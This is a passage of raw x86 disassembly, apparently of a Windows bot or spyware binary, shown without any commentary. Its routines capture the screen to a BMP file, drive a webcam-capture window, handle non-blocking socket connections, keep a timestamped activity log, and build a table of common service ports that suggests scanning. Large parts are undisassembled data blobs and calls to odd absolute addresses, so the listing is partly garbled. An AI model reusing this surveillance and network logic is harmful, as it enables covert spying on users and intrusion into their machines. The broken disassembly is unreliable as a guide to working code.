[ebp+0Ch] add esi, eax loc_4143B2: ; CODE XREF: ___:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 737Dh, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EE868FFh, 0E8500043h dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022BBBh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0B02415FFh, 4589004Ch, 50D6FFF8h dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0A8E89000h, 2B0226C1h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CE7581Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CAF48h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D5A868h dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 3868FFFFh dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CAFE4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CAFA4h, 0AE458966h, 7345E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CB00815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0B03C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 435F1Ch, 7160E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CB02415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 43610Ch, 710CE850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF84h, 75FFF883h, 3815FF0Eh dd 50004CAFh, 4360BC68h, 8D1BEB00h, 0FF500C45h, 4CAFE415h dd 0FFF88300h, 15FF2075h, 4CAF38h, 60786850h, 858D0043h dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 0A415FF00h, 66004CAFh, 8DDE4589h, 90500C45h dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 604C68FFh, 0E8500043h, 706Ah dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7583Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CAF48h, 0E8016A53h, 3DD4h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D5A868ACh dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE13868h dd 0CDE85000h, 59000075h, 5C65659h, 4CE338h, 0A415FF45h dd 66004CAFh, 4CE33AA3h, 0AC458D00h, 5C76650h, 4CE33Ch dd 89660001h, 4CE33E3Dh, 4005C600h, 80004CE3h, 0E34105C6h dd 6611004Ch, 0E3423D89h, 15FF004Ch, 4CAFE4h, 4CE344A3h dd 0E0458B00h, 4CE348A3h, 8C858D00h, 50000000h, 523D8966h dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h dd 4CAFA415h, 4EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CE34Ch, 0AFA415FFh, 68004Ch dd 66000004h, 4CE350A3h, 6F3CE800h, 0F7990000h, 546852FBh dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h dd 4CE338h, 0FFF475FFh, 4CB00815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 0ACE890FCh, 2B0226BCh, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 3C15FFF4h, 8B004CB0h, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FE868h dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CAF3815h, 458D5000h, 5C68500Ch, 0EB00435Fh db 0ACh byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CAFE415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 613868FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0BDE89056h dd 5F022BB4h ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6E push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 71AB3E5Dh nop jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: ___:00414B58j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi call near ptr 71AB155Ah nop push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CAF4C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CAF8C test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BCBj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: ___:00414BFDj ; ___:00414C21j mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: ___:00414BD7j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414BFF lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: ___:00414BECj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi call near ptr 71AB4122h nop cmp eax, edi jz short loc_414BD9 mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: ___:00414B69j ; ___:00414BD0j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh dd 26A5104h, 0C8A35053h, 0FF004CE7h, 4CAF8415h, 0A8358B00h dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0A415FF50h dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CB02415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B03C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0E7CCBF83h, 6468004Ch, 570042CAh, 6A85E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 64685750h, 57004361h, 0E8F04589h, 6A46h dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h dd 4CAFA415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CE768h, 6717E8h, 0FFFFBE00h dd 5C60000h, 4CE768h, 685645h, 0C6000004h, 4CE77105h, 5C60600h dd 4CE769h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAFA4h dd 0A366286Ah, 4CE76Ch, 0AFA415FFh, 0D80004Ch, 4CE770h dd 581D39FFh, 66004CE7h, 4CE76AA3h, 1D896600h, 4CE76Eh dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CE13868h, 0E415FF00h, 0A3004CAFh dd 4CE774h, 6808458Bh, 4000h, 4CE778A3h, 891D8800h, 0FF004CE7h dd 4CAFA415h, 66535600h, 4CE78AA3h, 3762E800h, 0F88B0000h dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AFA015FFh dd 80A3004Ch, 0A0004CE7h, 4CE788h, 24087D8Bh, 6A500C0Fh dd 0E788A214h, 8B66004Ch, 1D89F045h, 4CE784h, 8E1D8966h dd 66004CE7h, 4CE77EA3h, 0A43D8900h, 88004CE7h, 4CE7A81Dh dd 0A905C600h, 6004CE7h, 0AFA415FFh, 0A366004Ch, 4CE7AAh dd 0E77EA166h, 0C766004Ch, 4CE79005h, 89000200h, 4CE7943Dh dd 92A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 36CBE8h, 50595900h, 0AFA415FFh, 0A366004Ch dd 4CE77Ch, 4CE774A1h, 0E7A0A300h, 5C6004Ch, 4CE789h, 841D8902h dd 0EB004CE7h, 0C653561Fh, 4CE78905h, 95E81000h, 59000036h dd 15FF5059h, 4CAFA4h, 0A3C0B70Fh, 4CE784h, 6C05FF66h dd 0FF004CE7h, 4CE78005h, 7EA16600h, 6A004CE7h, 7CBE5905h dd 0BF004CE7h, 4CE7ACh, 721D8966h, 66004CE7h, 0E78C1D89h dd 146A004Ch, 68BEA5F3h, 66004CE7h, 4CE792A3h, 25E85600h dd 6AFFFF5Ch, 0E7A06820h, 0A366004Ch, 4CE772h, 0FF5C13E8h dd 10C483FFh, 0E78CA366h, 106A004Ch, 4CE79068h, 286A5300h dd 0C835FF56h, 0FF004CE7h, 4CB00815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 0E890FFh, 2B0226B6h, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 24BC60E8h dd 0FDC2E902h, 5E5FFFFFh, 4CE7CCB8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D160 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43DCE0 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D160[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D178[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_42923C pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436180 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D160 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_43616C lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43DCE0 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 2770000h mov ebx, offset dword_4D2BCC mov edi, 80h mov esi, offset dword_4CEBCC loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CEBCC xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D2BCC jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_4361CC push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_4361B8 call sub_4151AC pop ecx retn sub_41524C endp ; --------------------------------------------------------------------------- byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_4361FC push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: ___:004152C0j cmp byte ptr [ebp-98h], 0 jz short loc_415300 lea eax, [ebp-98h] push eax call sub_41B779 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415300 mov [ebp-8], eax loc_415300: ; CODE XREF: ___:004152E7j ; ___:004152FBj and dword ptr [ebp+8], 0 mov esi, offset dword_4CEBCC loc_415309: ; CODE XREF: ___:00415361j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp byte ptr [ebp-98h], 0 jz short loc_415338 cmp dword ptr [ebp-4], 0 jnz short loc_415338 lea eax, [ebp-98h] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: ___:0041531Dj ; ___:00415323j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: ___:00415314j ; ___:00415336j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D2BCC jl short loc_415309 loc_415363: ; CODE XREF: ___:0041530Fj lea eax, [ebp-31Ch] push offset dword_4361E0 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: ___:0041537Bj lea eax, [ebp-31Ch] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h, 46h, 0ACh ; --------------------------------------------------------------------------- sub eax, [edx] pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CAF90 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CAFAC push 0Ah push edi mov [ebp+var_8], eax call dword_4CAFAC push 0Ch push edi mov [ebp+var_C], eax call dword_4CAFAC cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CAFAC mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CAFF0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CAFE8 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CAE74 cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CAFEC test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CAEC8 mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call near ptr 26F09A7h nop cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 26E0000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 26E0000h cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 26E0000h loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 26E0000h push [ebp+arg_0] call near ptr 26508C8h nop push 1 pop esi loc_4155C0: ; CODE XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CAF00 push [ebp+var_4] call dword_4CAE60 mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CAE60 mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CAE60 push [ebp+var_4] call dword_4CAE60 loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BD0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEF4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CAF44 test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB000 jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CAF44 test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CB000 loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CAF44 test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CB000 mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx 